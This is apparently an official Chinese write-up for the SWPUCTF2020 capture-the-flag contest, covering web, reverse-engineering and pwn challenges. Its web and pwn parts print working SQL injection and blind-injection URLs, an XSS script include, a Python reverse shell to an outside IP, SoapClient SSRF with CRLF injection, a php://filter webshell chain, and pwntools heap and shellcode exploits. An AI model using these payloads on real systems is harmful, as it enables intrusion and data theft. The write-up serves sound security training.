SWPUCTF2020 官方WP
Web
359度防护网站
1.常规解
- 网站目录下有常见遗留文件robots.txt 与 index.php.bak
2.bak文件中是base64 解开后得到 important_index_its_so_long_right.php?id=1 页面
3.在上面得到的页面中直接进行联合注入得到所有数据库名,表,字段及内容
http://182.150.46.187:8802/important_index_its_so_long_right.php?id=1' and 1=2 union select 1,2,3,group_concat(SCHEMA_NAME) from information_schema.SCHEMATA-- -
- 分别查询LTLT库和h1nt库得到LTLT库中的login表,里面有pwd,usn,usn 是admin123,pwd是md5,在somd5查询得到 wllm@123
- http://182.150.46.187:8802/important_index_its_so_long_right.php?id=1' and 1=2 union select 1,2,3,group_concat(pwd) from login– -
- h1nt库中是help表,里面有hint,内容是一个页面名,访问后提示先登录,但是并没有给登录地址,所用会话也不是与 administrator.html 相同,所以这条路先暂停
- [http://182.150.46.187:8802/important_index_its_so_long_right.php?id=1' and 1=2 union select 1,2,3,group_concat(hint) from h1nt.help– -](http://182.150.46.187:8802/important_index_its_so_long_right.php?id=1' and 1=2 union select 1,2,3,group_concat(hint) from h1nt.help– -)
- 利用得到的 usn和pwd登录进入robots.txt中的 administrator.html
- 进去后是一个后台,翻看页面后发现无明显可利用点,查看源码发现憨憨开发注释掉的部分
- 访问 writeuser_00001_log.log 后得到一页的base64,丢burp解码,找到可疑页面 up_lo_ad_ad_min.php
- 访问发现要登录,但是只有一条信息需要验证,F12发现有输入长度限制为5,猜测是前面log页面中的user:00001
- 登录成功后发现是一个文件上传点,很多师傅在这里上传了很久都没成功,其实在现在的开发中,只要合理运用白名单,基本就能防死文件上传,这里文件上传的后端验证就是白名单,只能上传jpg,png,gif,所以理论上无法传马
- 先上传一个正常图片,得到如下信息
- 之前在h1nt库中拿到的 last_index_come_on_swpu_ctf.php?id=4 页面现在发现可以进去了,这个页面的登录验证就是用的密码是00001的那个页面,进去后发现可以直接sql注入
- getshell的常规方法中,利用sql语句的into outfile并不算罕见,只是由于很多情况下secure_file_priv并未设置,导致无法进行这类文件读写,但是这在渗透中仍然不应该是被忘记的一种方法,没有尝试就不能凭经验否定这种方法。我们尝试写入一句话,但是考虑到目录可能没有可写权限,我们需要找到一个确定有可写权限的文件夹,很容易联想到上传页面暴漏的文件夹就有可写权限,于是构造语句写入一句话
- 利用木马文件进行命令执行system(‘cat /flag’);即可获得flag
2.非预期
- 出题时本意是在前台页面用WAF防死SQL注入,但是由于WAF版本未及时更新,有少数师傅用load_file将文件暴力读取了,类似这种
sqlsqlsql
前言
此题参考了第三届CBCTF的sql-labs
过滤
自己测试可以发现如下过滤
解题思路
users表字段 id name emile salary
flllag表字段 id asuazttaz
查看源码可以获得提示
<!-- select * from users where id = '$id'-->
这个提示是想说明要闭合id字段的引号
结合页面的英文提示,很容易想到这个题是时间盲注
需要注意的点
- 用异或来闭合引号
- case when then else end来替代if
- 用join多个大表造成延时
- 通过mysql5.7的sys.schema_table_statistics_with_buffer表查询表名
- 通过无列名注入获取字段内容
- 通过括号,或者引号包裹来代替空格
- flllag表有两个字段且flag值在第二个字段
- 通过like或者regexp来匹配结果(但是这里不能用like,师傅们结合flag内容具体想想,卖个关子)
payload
两秒左右的延时
查表名
http://182.150.46.187:8801/ttttt/?id=1'^(select(case'1'when((select(select(group_concat(table_name))from(sys.schema_table_statistics_with_buffer)where(table_schema=database()))regexp"flllag"))then'1'else(select(count(*))from((mysql.help_relation)join(mysql.help_topic)join(mysql.proc)))end))^'1
查字段内容
http://182.150.46.187:8801/ttttt/?id=1'^(select(case'1'when((select(select(group_concat(`2`))from(select*from(select(1))as`a`join(select(2))as`b`union(select*from(flllag)))as`a`)regexp"flag{aaa"))then'1'else(select(count(*))from((mysql.help_relation)join(mysql.help_topic)join(mysql.proc)))end))^'1
脚本就不给了,因为这个题是0解,师傅们看payload自己重新做吧
题目环境会开放几天的
flag{blind_1nj3ct10n_1s_very_s1mpl3}
太极
简单测试发现注册处存在无过滤xss漏洞,注册时插入payload
用户名: 密码随意
管理员会定期刷新页面,但是由于设置了httponly,不能直接获取cookie
可以看到:
当我们直接访问这个ssrf_for_test.php时提示“权限不足”,但我们可以借助管理员的身份来触发这个ssrf,即是通过xss+csrf发起一个ssrf请求,提示也告诉flag在redis的flag字段,我们只要抓一下这个数据包,构造出这个过程,然后去接收返回结果就行。(网上已有很多资料,ssrf打redis等等)
注册用户
<script src="[http://xxxxxxxxx/getflag.js](http://xxxxxxxxx/getflag.js)></script>
监听一哈 python3 -m http.server 9999
上个厕所回来就看到flag
noobpy
发现
内存在命令注入
或者尝试报错也能发现。
将request的[]重载为exec实现命令执行,并且用UA头来注入
反弹shell拿到flag
Exp:
import requests
url ="http://192.168.31.51:6061/Equ.php"
s= requests.Session()
def exp(poc1,poc2):
data = {
"left":poc1+"1",
"right":"1"
}
header = {
"User-Agent":poc2
}
req = s.post(url,data=data,headers=header)
print req.text
#exp('__builtins__.eval=__builtins__.exec#',"xxx")
exp("request.__class__.__getitem__=__builtins__.exec;request[request.user_agent.string];",'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.91.1",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);')
原谅最光荣
ps: 来自真实环境,稍微增加了一点CTF特色
1.打开题目链接,点开页面上的几个链接发现路由是xxx.action会以为是java,扫描或者是常识访问到robots.txt
可以看到是php的,题目提到包容二字以及从这几个路径可以推断该题目是伪静态+文件包含,至于是本地还是远程需要进一步验证:
访问:/.%2f.%2f.%2fpricing.action,返回对应pricing.action页面,说明可以拼接路径,但是测试无法跳转,尝试包含/etc/passwd、日志、/proc/self/也无结果,这时可以尝试远程文件包含:
访问:/http:%2f%2fwww.baidu.com.action
,截图如下:
结果触发了规则,注意看http:/www 中间少了个斜线,然后看代码,发现对path进行了url解码,所以可以在传入路径时使用http:%252f%2fwww.baidu.com
来绕过这个问题。
继续看代码,下面对path开头的几个字符做了检测,这里被检测的字符串数组内容未知。由于php能用的伪协议就那么几种,挨个测试即可。
最后发现可以用php://filter包含本地文件获得源码:
http://47.116.79.40:32773/php:%252f%252ffilter/convert.base64-encode/resource=contact.action
但是这里是无法通过这个来读取到flag的,因为前面测试可以知道该网站代码会对path添加一个文件后缀然后包含,所以这个题应该是需要获取webshell才能拿到flag。
这里我们可以用resource=http://xxx.xxx.com/xxx来包含远程文档,但是测试可知无法包含外网资源,只能包含localhost(注意末尾加%23来绕过文件后缀):
(这样是没有问题的)
然后在页面可以找到一个contact.action存在一个GET型表单,提交的值可以在输出中打印出来,但是值被实体化了(无法在页面显示出<>等符号)。
这里的思路是通过base64-decode来将我们传入的base64字符串解成<?php的代码,从而绕过htlm实体化编码,但是convert.base64-decode这个过滤器相对base64-decode函数来说比较古怪,在字符中间遇到等号会直接报错。
这里去除等号的方法可能不唯一,我选择使用简单的utf-7编码,编码规则可以自行查看wiki,大体上是字母数字和个别符号属于直接编码,也就是直接输出;而等号属于可选的直接编码字符,一般会进行base64然后成为这种:-Iwo+。最后payload为:
http://47.116.79.40:32773/php%3A%252F%2Ffilter%2Fconvert.iconv.utf-8.utf-7%2Fconvert.base64-decode%2fresource%3Dhttp:%252f/localhost/contact.action%3fname=xxPD9waHAgZXZhbCgkX0dFVFsxMjNdKTs%252fPg%23.action?123=echo+%22%3Ch1%3Epwned!!!%3C/h1%3E%22;
格式化一下:
http://47.116.79.40:32773/php://filter/convert.iconv.utf-8.utf-7/convert.base64-decode/resource=http://localhost/contact.action?name=xxPD9waHAgZXZhbCgkX0dFVFsxMjNdKTs/Pg#.action?123=echo+"<h1>pwned!!!</h1>";
访问结果:
值得注意的是,经过base64编码payload的偏移量必须为4的整数倍,因为base64解码是以4字节一组进行转换。
拿到shell后,flag.txt在根目录可以看到。
重来
访问网站,是个登陆
登陆处发现login.js
test@qq.com test登录
更改user为admin,访问,越权成功
http://xxxx.xxx.xxx.xx/a.php?classname=index¶m2=admin
发现地址发生了变化并且多了一个隐藏的表单
提交id=1
提示要127.0.0.1,那就是需要ssrf了,观察登陆时的url
http://192.144.157.29:8080/a.php?classname=login¶m2=1
classname是一个类名字,param2是这个类的第2个参数,这里存在一个任意对象实列化漏洞,输入一个不存在的类
输入php的内置类Exception
内置类SimpleXMLElement
2者都报第二个参数错误,应该是第一个参数被固定了,结合ssrf,想到了内置类soapClient,验证
http://xxxxxxx/a.php?classname=soapclient¶m2[location]=http://vps/¶m2[uri]=1231
但soapclient只能传递get参数,post为自己生成的xml数据,不可控,但soapclient可以自己配置部分请求头如user_agent,并且存在CRLF问题,比如
构造一个post请求,注意带上cookie
http://xxxx/a.php?classname=soapclient¶m2[location]=http://127.0.0.1/new_adminuser.php¶m2[user_agent]=aa%0d%0aCookie:%20isadmin=1;flag=1%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0aContent-Length:%20367%0d%0a%0d%0aid=1%26a=¶m2[uri]=123
更改vps为127.0.0.1,仍然没有flag
id参数可能是个注入,尝试注入payload
存在注入,注入脚本
import requests
#url_template="http://xxxxxx/a.php?classname=soapclient¶m2[location]=http://127.0.0.1/new_adminuser.php¶m2[user_agent]=aa%0d%0aCookie:%20isadmin=1;flag=1%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0aContent-Length:%20367%0d%0a%0d%0aid=1%27%20and ascii(substr(database(),{},1))={}%23%26a=¶m2[uri]=123"
#数据库名user
#url_template="http://xxxxxxxx/a.php?classname=soapclient¶m2[location]=http://127.0.0.1/new_adminuser.php¶m2[user_agent]=aa%0d%0aCookie:%20isadmin=1;flag=1%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0aContent-Length:%20367%0d%0a%0d%0aid=1%27%20and ascii(substr((SELECT group_concat(table_name) FROM information_schema.tables where table_schema=0x75736572),{},1))={}%23%26a=¶m2[uri]=123"
#表名flag
#url_template="http://xxxxxxxx/a.php?classname=soapclient¶m2[location]=http://127.0.0.1/new_adminuser.php¶m2[user_agent]=aa%0d%0aCookie:%20isadmin=1;flag=1%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0aContent-Length:%20367%0d%0a%0d%0aid=1%27%20and ascii(substr((SELECT group_concat(column_name) FROM information_schema.columns where table_name=0x666c6167 ),{},1))={}%23%26a=¶m2[uri]=123"
#字段名flaaagggg
url_template="http://xxxxx/a.php?classname=soapclient¶m2[location]=http://127.0.0.1/new_adminuser.php¶m2[user_agent]=aa%0d%0aCookie:%20isadmin=1;flag=1%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0aContent-Length:%20367%0d%0a%0d%0aid=1%27%20and ascii(substr((select group_concat(flaaagggg) from flag),{},1))={}%23%26a=¶m2[uri]=123"
#payloads='abcdefghijklmnopqrstuvwxyz1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ\,_\{\}'
payloads = 'abcdefghigklmnopqrstuvwxyz,\{\}ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789~!#$%^&*()-+@_.'
database_name=''
for j in range(1,50):
for i in payloads:
i_ascii=ord(i)
url=url_template.format(j,i_ascii)
result=requests.get(url)
length=len(result.text)
if length>300:
database_name+=i
print(database_name)
break
RE
RealEzRE
1. SMC
进入主函数后发现几个被加密后的字符串,通过IDA的Findcrypt 插件发现Base64的表,猜测这些字符串是经过Base64编码的,解密后得知是这里是一些提示信息
下面的操作是对关键函数区块进行smc解密操作,首先通过sub_401B80函数找到要解密的区块始末地址和大小
目标区块和0x67异或解密
IDC 脚本
auto key = 0x67;
auto from = 0x401cc0 + 0x20;
auto size = 0x359;
auto i, x;
for ( i = 0; i < size; ++i )
{
x = Byte(from);
x = (x^(key + (i & 0xF)));
PatchByte(from,x);
from = from + 1;
}
Message("\n Success \n");
2. 关键函数
通过一些操作还原了关键函数,查看伪C代码后发现输入的字符串加密后和特定数值分三次比较
3. 加密函数
通过分析知道这是个RC4加密
解密脚本
#include <stdio.h>
#include <windows.h>
struct rc4
{
int x, y, m[256];
};
typedef unsigned char uint8;
int main()
{
uint8 flag[100] = { 0 };
uint8 cmp[] = { 0x12,0xa7,0xf5,0xde,0x75,0x2a,0x6e,0x4a,0x6e,0x73,0xe6,0x62,0x50,0xbf,0x2a,0x98,0xfe,0x2b,0xdd,0x7b,0xba,0xb6,0x5,0x13,0x63,0x57,0x2d,0xd4,0x45,0xb8,0xfe,0xbc };
BYTE key[8] = { 0x01,0x23,0x45,0x67,0x89,0xAB,0xCD,0xEF };
int i, j, k, a,b;
struct rc4 s;
int length = 8;
memset(&s, 0, sizeof(s));
s.x = 0;
s.y = 0;
for (i = 0; i < 256; i++)
s.m[i] = i;
j = k = 0;
for (i = 0; i < 256; i++)
{
a = s.m[i];
j = (uint8)(j + a + key[k]);
s.m[i] = s.m[j];
s.m[j] = a;
if (++k >= length)
k = 0;
}
length = 32;
for (i = 0; i < length; i++)
{
s.x = (uint8)(s.x + 1);
a = s.m[s.x];
s.y = (uint8)(s.y + a);
s.m[s.x] = b = s.m[s.y];
s.m[s.y] = a;
flag[i] = cmp[i] ^ s.m[(uint8)(a + b)];
}
printf("flag{%s}", flag);
}
Stangeapk
1.
使用jeb3.0打开apk发现字符串被加密了
查看加密函数发现为异或+base64加密 ,编写解密函数
import java.util.Base64;
public class StringFog {
private static byte[] xor(byte[] data, String key) { //异或算法
int len = data.length;
int lenKey = key.length();
int i = 0;
int j = 0;
while (i < len) {
if (j >= lenKey) {
j = 0;
}
data[i] = (byte) (data[i] ^ key.charAt(j));
i++;
j++;
}
return data;
}
public static String encode(String data, String key) {
return new String(Base64.getEncoder().encode(xor(data.getBytes(), key)));
//调用base64加密包
}
public static String decode(String data, String key) {
return new String(xor(Base64.getDecoder().decode(data), key));
//调用base64解密包
}
得到关键字符串
if(!name.equals("WLLM")) {
Toast.makeText(this, "please input your name", 0).show();
return;
}
if(!password.equals("welcome_to_SWPUCtf")) {
Toast.makeText(this, "please input your password", 0).show();
return;
}
HttpURLConnection connection = (HttpURLConnection)new URL("http://121.196.219.16:8080/ForAndroid/mustLogin?logname=1&password=1").openConnection();
可以发现这是一个http请求,输入账号密码或者直接访问url均可达到目的
得到服务器返回的字符串:
根据url下载附件realapp
ps:jeb 3.9及以后会自动解密字符串
2.
反编译apk
该apk验证流程为:
对输入内容进行凯撒加密,其中凯撒key被hook了,返回值为18,传入到native层,并对字符串进行异或操作,然后和值进行比较
hook代码:
其中几个重要参数:
比较字符串:{122,125,119,121,71,104,84,85,79,99,13,79,99,125,99,107,78,12,110,91,99,122,13,12,91,65}
异或的值:getInt()函数返回值,一个xtea算法的解密,其中v为{(unsigned int)-355481616,(unsigned int)1654711569},key为{1,2,3,4},返回值为v[0]
通过动态调试或者frida hook,或者观察log日志(出题人忘删除log了,难过.png)
可以得到 v[0]=40
脚本如下:
#include <iostream>
using namespace std;
#include <string>
char small_letter[26] = { 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z' };
char big_letter[26] = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z' };
char result[1000];
int p;
void decrypt(unsigned int* v, unsigned int* key) {
unsigned int l = v[0], r = v[1], sum = 0, delta = 0x9e3779b9;
sum = delta * 32;
for (size_t i = 0; i < 32; i++) {
r -= (((l << 4) ^ (l >> 5)) + l) ^ (sum + key[(sum >> 11) & 3]);
sum -= delta;
l -= (((r << 4) ^ (r >> 5)) + r) ^ (sum + key[sum & 3]);
}
v[0] = l;
v[1] = r;
}
char* carse(char* estr,int move) {
for (int i = 0; i < strlen(estr); i++)
{
if(estr[i]>='A'&&estr[i]<='Z')
{
p=((estr[i]-'A')- move);
while(p<0)p+=26;
result[i]=big_letter[p];
}
else if (estr[i]>='a'&&estr[i]<='z')
{
p=((estr[i]-'a')- move);
while(p<0)p+=26;
result[i]=small_letter[p];
}
else result[i]= estr[i];
}
return result;
}
int main(int argc, char const *argv[])
{
//test
unsigned int v[2] = { (unsigned int)-355481616,(unsigned int)1654711569 }, key[4] = { 1,2,3,4 };
char *FK = (char*)malloc(50);
char *b = (char*)malloc(50);
int c[] = { 122,125,119,121,71,104,84,85,79,99,13,79,99,125,99,107,78,12,110,91,99,122,13,12,91,65 };
decrypt(v, key);
for (int i = 0; i < 26; i++) {
FK[i] = c[i] ^ v[0];
}
b = carse(FK, 18);
string eflag=b;
cout << "flag is:" << eflag.substr(0,26);
return 0;
}
where_is_temp
本题是通过C语言来调用lua脚本,实现flag的获取与验证操作,所以关键点就是要能提取出原始的lua脚本进行分析。
首先是C语言部分比较简单,就是一些垃圾的反调试,然后就是文件操作,将文件释放到临时文件夹中,拿到了这个脚本发现是luac脚本,luac文件转lua文件其实可以选择的工具很多,我自己选择的是luadec,值得一提的是luadec需要确定具体的lua使用的版本,而这可以通过ida查看程序的字符串就可以发现是lua5.3,这样我们基本就能完整还原出lua文件了。
lua脚本中就是一些简单的换位,异或,查表操作等,当然最后两位比较特殊,看似有多解,但根据费马大定理可得其实n只能等于2,而m就等于40,当然熟悉勾三股四弦五的话很容易也可以猜到。
flag:luA1s_(2_Easy_To_y0u_!!!
简陋的vm
这道题其实就是一个简单的使用c语言模拟执行的vm,本身并没有做什么处理,只需要找到分发器的位置,再将每一条handle解析出来就能还原汇编。
首先是分发器,利用的是push/ret的方式调用的,获取需要call的函数地址,将参数与返回地址依次入栈,最后压入跳转地址ret就可以了,所以需要动态调试一下。
add_call = call_list[vm_call];
__asm
{
push i;
sub esp, 0x4;
mov eax, v_ret;
mov dword ptr ss : [esp] , eax;
push add_call;
ret;
v_ret:
mov i, eax;
}
接下来就是解析每个handle,原本的汇编指令应该如下所示:
signed opcode[219] = {
op_mov, 6, op_ebp, op_esp,
op_sub, op_esp, 54,
op_push, op_esi, //2 push esi
op_push, op_edi, //2 push edi
op_mov, 4, op_ecx, 9, //4 mov ecx,0x9
op_mov, 0x10, op_esi, //3 mov esi,Project2.00C620F8
op_lea, op_edi, -0x50, //3 lea edi,dword ptr ss:[ebp-0x50]
op_rep_movs, //1 rep movs dword ptr es:[edi],dword ptr ds:[esi]
op_mov, 5, -0x54, 0, //4 mov dword ptr ss:[ebp-0x54],0x0
op_jmp, 12, //2 jmp short Project2.00C61033
op_mov, 3, op_eax, -0x54, //4 mov eax,dword ptr ss:[ebp-0x54]
op_add, op_eax, 0x1, //3 add eax,0x1
op_mov, 5, -0x54, op_eax, //4 mov dword ptr ss:[ebp-0x54],eax
op_cmp, -0x54, 0x24, //3 cmp dword ptr ss:[ebp-0x54],0x24
op_jge, 89, //2 jge Project2.00C610D6
op_mov, 3, op_ecx, -0x54, //4 mov ecx,dword ptr ss:[ebp-0x54]
op_and, op_ecx, 0x80000001, //3 and ecx,0x80000001
op_jns, 8, //2 jns short Project2.00C6104D
op_dec, op_ecx, //2 dec ecx
op_or, op_ecx, -0x2, //3 or ecx,-0x2
op_inc, op_ecx, //2 inc ecx
op_test, op_ecx, op_ecx, //3 test ecx,ecx
op_je, 35, //2 je short Project2.00C6106F
op_mov, 3, op_edx, -0x54, //4 mov edx,dword ptr ss:[ebp-0x54]
op_mov, 0x10B, op_eax, op_edx, -0x50, //5 movzx eax,byte ptr ss:[ebp+edx-0x50]
op_add, op_eax, 0x5, //3 add eax,0x5
op_mov, 4, op_ecx, 0x68, //4 mov ecx,0x68
op_sub, 3, op_ecx, -0x54, //4 sub ecx,dword ptr ss:[ebp-0x54]
op_xor, op_eax, op_ecx, //3 xor eax,ecx
op_mov, 3, op_edx, -0x54, //4 mov edx,dword ptr ss:[ebp-0x54]
op_mov, 0x10D, op_edx, -0x2c, op_eax, //5 mov byte ptr ss:[ebp+edx-0x2C],al
op_jmp, 32, //2 jmp short Project2.00C61089
op_mov, 3, op_eax, -0x54, //4 mov eax,dword ptr ss:[ebp-0x54]
op_mov, 0x10B, op_ecx, op_eax, -0x50, //5 movzx ecx,byte ptr ss:[ebp+eax-0x50]
op_sub, op_ecx, 0x3, //3 sub ecx,0x3
op_mov, 3, op_edx, -0x54, //4 mov edx,dword ptr ss:[ebp-0x54]
op_add, op_edx, 0x67, //3 add edx,0x67
op_xor, op_ecx, op_edx, //3 xor ecx,edx
op_mov, 3, op_eax, -0x54, //4 mov eax,dword ptr ss:[ebp-0x54]
op_mov, 0x10D, op_eax, -0x2c, op_ecx, //5 mov byte ptr ss:[ebp+eax-0x2C],cl
op_jmp, -103, //2 jmp
op_mov, 5, -0x54, 0x0, //4 mov dword ptr ss:[ebp-0x54],0x0
op_jmp, 12, //2 jmp short Project2.00C6109B
op_mov, 3, op_ecx, -0x54, //4 mov ecx,dword ptr ss:[ebp-0x54]
op_add, op_ecx, 0x1, //3 add ecx,0x1
op_mov, 5, -0x54, op_ecx, //4 mov dword ptr ss:[ebp-0x54],ecx
op_cmp, -0x54, 0x12, //3 cmp dword ptr ss:[ebp-0x54],0x12
op_jge, 59, //2 jge short Project2.00C610D1
op_mov, 3, op_edx, -0x54, //4 mov edx,dword ptr ss:[ebp-0x54]
op_add, op_edx, 0x32, //3 add edx,0x32
op_mov, 3, op_eax, -0x54, //4 mov eax,dword ptr ss:[ebp-0x54]
op_mov, 0x10B, op_ecx, op_eax, -0x2c, //5 movzx ecx,byte ptr ss:[ebp+eax-0x2C]
op_xor, op_ecx, op_edx, //3 xor ecx,edx
op_mov, 3, op_edx, -0x54, //4 mov edx,dword ptr ss:[ebp-0x54]
op_mov, 0x10D, op_edx, -0x2c, op_ecx, //5 mov byte ptr ss:[ebp+edx-0x2C],cl
op_mov, 3, op_eax, -0x54, //4 mov eax,dword ptr ss:[ebp-0x54]
op_add, op_eax, 0x23, //3 add eax,0x23
op_mov, 3, op_ecx, -0x54, //4 mov ecx,dword ptr ss:[ebp-0x54]
op_mov, 0x10B, op_edx, op_ecx, -0x1a, //5 movzx edx,byte ptr ss:[ebp+ecx-0x1A]
op_xor, op_edx, op_eax, //3 xor edx,eax
op_mov, 3, op_eax, -0x54, //4 mov eax,dword ptr ss:[ebp-0x54]
op_mov, 0x10D, op_eax, -0x1a, op_edx, //5 mov byte ptr ss:[ebp+eax-0x1A],dl
op_jmp, -73, //2 jmp short Project2.00C61092
op_xor, op_eax, op_eax, //3 xor eax,eax
op_pop, op_edi, //2 pop edi
op_pop, op_esi, //2 pop esi
};
其中寄存器标识就是指代需要使用的寄存器,唯一需要注意的只有在处理mov指令时,还需要根据后一位的标志符来进行判断处理,这里就不再赘述。
以上的汇编代码其实是完全按照一段简单的加密翻译的,其实算法本身完全没有难度
unit8 szBuffer[] = "flag{w31c0m325wpuc7f@havea9o0d71m3}";
unit8 out[36];
int i = 0;
for (i = 0; i < 36; ++i)
{
if (i % 2)
{
out[i] = (szBuffer[i] + JI) ^ (0x68 - i);
}
else
{
out[i] = (szBuffer[i] - OU) ^ (0x67 + i);
}
}
for (i = 0; i < 18; ++i)
{
out[i] ^= (i + 0x32);
out[i + 18] ^= (i + 0x23);
所以我们甚至可以找到模拟的栈中存放我们输入的位置,并找到加密后的存放位置观察其变化,也能进行解析。
至于输入的位置其实可以看见就是利用了lea/rep movs两条指令,所以不管你输入多少,都会取出36位进行加密,只要找到这里,紧跟在后续的位置就是存放加密后的位置。
Re.exe
这道题的思想是 A * B = C
A矩阵可逆,B矩阵是由输入的18个字符低4bit,高4bit位构成6*6的矩阵。
验证1:字符串长度,验证2:B矩阵的和,验证3: A*B是否等于C
已知AC,求B
B = A的逆矩阵*C
然后再根据B矩阵拼接回去,即可得到flag.
Pwn
shellco
在输入name后,如果name的长度等于8,将获得一次输入的机会,此次输入存在溢出,可以修改之后的对话次数,在栈的最顶上存放着一个地址,该地址为对话循环的跳转位置,多次对话将不停向栈上压入对话内容,直到覆盖栈的顶部,修改跳转位置为shellcode。
由于所有被保存的输入都不超过8个字节,且输入后都会再向栈上压入内容,所以shellcode本身不能超过8个字节。shellcode编写思路:在程序开始时,r12寄存器保存了“/bin/sh”的地址,跳转前会执行rax,rbx,rcx,rdx的清零,故shellcode为”mov rbx,r12;mov al,11;int 0x80”
wp
from pwn import*
context(os='linux', arch='amd64', log_level='debug')
p=process("./1")
#p=remote("49.235.209.57",10000)
sleep(0.1)
p.send("\xff"*8)
sleep(0.1)
p.send("\xff"*40+"\x18")
sleep(0.1)
a=16
#pay="\x4c\x89\xe3\xb0\x0b\xcd\x80"
pay=asm("""
mov rbx,r12;
mov al,11;
int 0x80
""")
print len(pay)
sleep(0.1)
p.send(pay)
while(a):
sleep(0.1)
a=a-1
p.sendafter("you lost","\x89\x05\x60\x00\x00\x00\x00\x00")
p.recv()
p.interactive()
tnote
# -*- coding: utf-8 -*-
import sys
import os
from pwn import *
# context.log_level = 'debug'
binary = "./tnote"
ip = "**.**.**.**"
port = 10000
elf = ELF(binary)
def pwn(ip, port, debug):
if debug == 1:
sh = process(binary)
lib = elf.libc
# lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
sh = remote(ip, port)
lib = ELF("libc-2.27.so")
# lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
s = lambda data :sh.send(str(data))
sa = lambda delim,data :sh.sendafter(str(delim), str(data))
sl = lambda data :sh.sendline(str(data))
sla = lambda delim,data :sh.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :sh.recv(numb,timeout=5)
ru = lambda delims, drop=True :sh.recvuntil(delims, drop,timeout=5)
irt = lambda :sh.interactive()
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
lg = lambda data :log.success(data)
def add(size):
sla(":","A");
sla("?",str(size));
def free(idx):
sla(":","D");
sla("?",str(idx))
def edit(idx,content):
sla(":","E")
sla("?",str(idx))
sa(":",content)
def show(idx):
sla(":","S")
sla("?",str(idx))
add(0x18)
add(0x18)
add(0x58)
add(0x18)
add(0x78)
payload = "\x11" * 0x18 + p8(0x81)
edit(0,payload)
free(1)
add(0x78)
free(4)
payload = "\x11" * 0x18 + p64(0x81) + "\n"
edit(1,payload)
free(2)
payload = "\x11" * 0x18 + p64(0xdeadbeefdeadbeef) + "\n"
edit(1,payload)
show(1)
ru("\x11" * 0x18 + p64(0xdeadbeefdeadbeef))
heap_base = uu64(r(6)) - 0x320
payload = "\x11" * 0x18 + p64(0x81)
payload += p64(heap_base + 0x10) + "\n"
edit(1,payload)
add(0x78)
add(0x78)
payload = p64(0) * 4 + p64(0x0f0f0f0f0f0f0f0f) + p64(0) * 9 + p64(heap_base + 0x10) + "\n"
edit(4,payload)
free(4)
add(0x78)
show(4)
ru("content:")
main_arena = uu64(r(6))
success("main_arena = "+hex(main_arena))
libc = main_arena - lib.symbols[b'__malloc_hook'] - 96 - 0x10
success("libc = "+hex(libc))
lib.address = libc
system = lib.symbols[b'system']
__free_hook = lib.symbols[b'__free_hook']
success("libc_base = "+hex(libc))
success("sys_addr = "+hex(system))
payload = p64(0) * 4 + p64(0x0f0f0f0f0f0f0f0f) + p64(0) * 9 + p64(__free_hook - 8) + "\n"
edit(4,payload)
add(0x78)
edit(5,"/bin/sh\x00" + p64(system) + "\n")
free(5)
irt()
if __name__ == '__main__':
pwn(ip, port, 0)
corporate_slave
1)本题为glibc2.27保护全开
2)题目逻辑比较简单,只有一个add功能,并且漏洞点很明显off by X(null),通过readSize的索引来往地址中写一个0字节
3)难点在于如何利用,我们知道当我们malloc一个大的堆块(0x200000)时就会使用mmap来分配堆块,此时堆地址紧挨libc,因此我们可以利用这一点来往libc范围内写0字节,那该往哪里写呢
4)我们首先需要泄露libc,通过源码我们可以知道要想泄露数据需要完成的流程是:puts->_IO_file_xsputn->_IO_file_overflow->_IO_new_do_write->_IO_SYSWRITE (fp, data, to_do)
;通过条件判定我们需要满足以下条件fp->_flags &~ 0x1000 && fp->_IO_read_end = fp->_IO_write_base
,由于0xfbad2887 & 0x1000已经满足了条件,因此只需要让 fp->_IO_read_end = fp->_IO_write_base
即可进入_IO_SYSWRITE (fp, fp->_IO_write_base,fp->_IO_write_base-fp->_IO_write_ptr )
,从而泄露libc,那泄露libc之后呢?
5)我们第三次写0字节考虑往stdin里面写,将fp->_IO_buf_base的最后一字节写为0,此时io_buf_base恰好指向io_file的头部,因此我们可以伪造整个io_file,那如何getshell呢?
6)我们采用二重写入的方法来将另一部分的io_file写入到stdout,从而当puts的时候通过io_str_overflow来获取shell,那如何二重写入,我们研究一下stdin的源码可以知道,程序在写入之后会回调到_IO_getline,而_IO_getline里面判断了fp->_IO_read_end - fp->_IO_read_ptr是否小于0若小于0则调用__uflow,因此我们需要让fp->_IO_read_end - fp->_IO_read_ptr小于0,在__uflow里面又调用了_IO_default_uflow而此函数调用了_IO_file_underflow,这里就达成了我们二次写入的条件,我们知道第一次只能读0x84的数据因此剩下我们发送的就会通过_IO_SYSREAD (fp, fp->_IO_buf_base, fp->_IO_buf_end - fp->_IO_buf_base);向fp->_IO_buf_base写入,此时fp->_IO_buf_base已经被我们修改为了stdout的头部,因此可以实现二次写入,我们布置好stdout结构体的值使其走向io_str_overflow通过以下源码getshell
最后获取flag
find
1. 漏洞点利用了abs()函数本身存在的漏洞缺陷,当输入的是0x80000000的时候,会导致整数溢出,进而导致堆溢出。
2. 考察了加解密知识,对于输入输出进行了DES_CBC加解密转换,需要掌握des_CBC加解密方法才能正常获取输入输出。
3. 设置了seccomp限制了system execve函数的利用,也就是说劫持got表的方式不可用,并且禁用了open函数,对于seccomp函数理解不深刻pwn手来说,便以为不能利用open read wirte 的shellcode来读取shellcode了。但其实我只是禁用了64位的open函数,32位的open函数仍可以利用,因此我们写32位的shellcode利用open read write来读取flag。
4. 具体方式就是劫持stack,利用rop链执行mprotect函数赋予执行权限,然后跳转到shellcode执行shellcode。
from PwnContext import *
import sys
reload(sys)
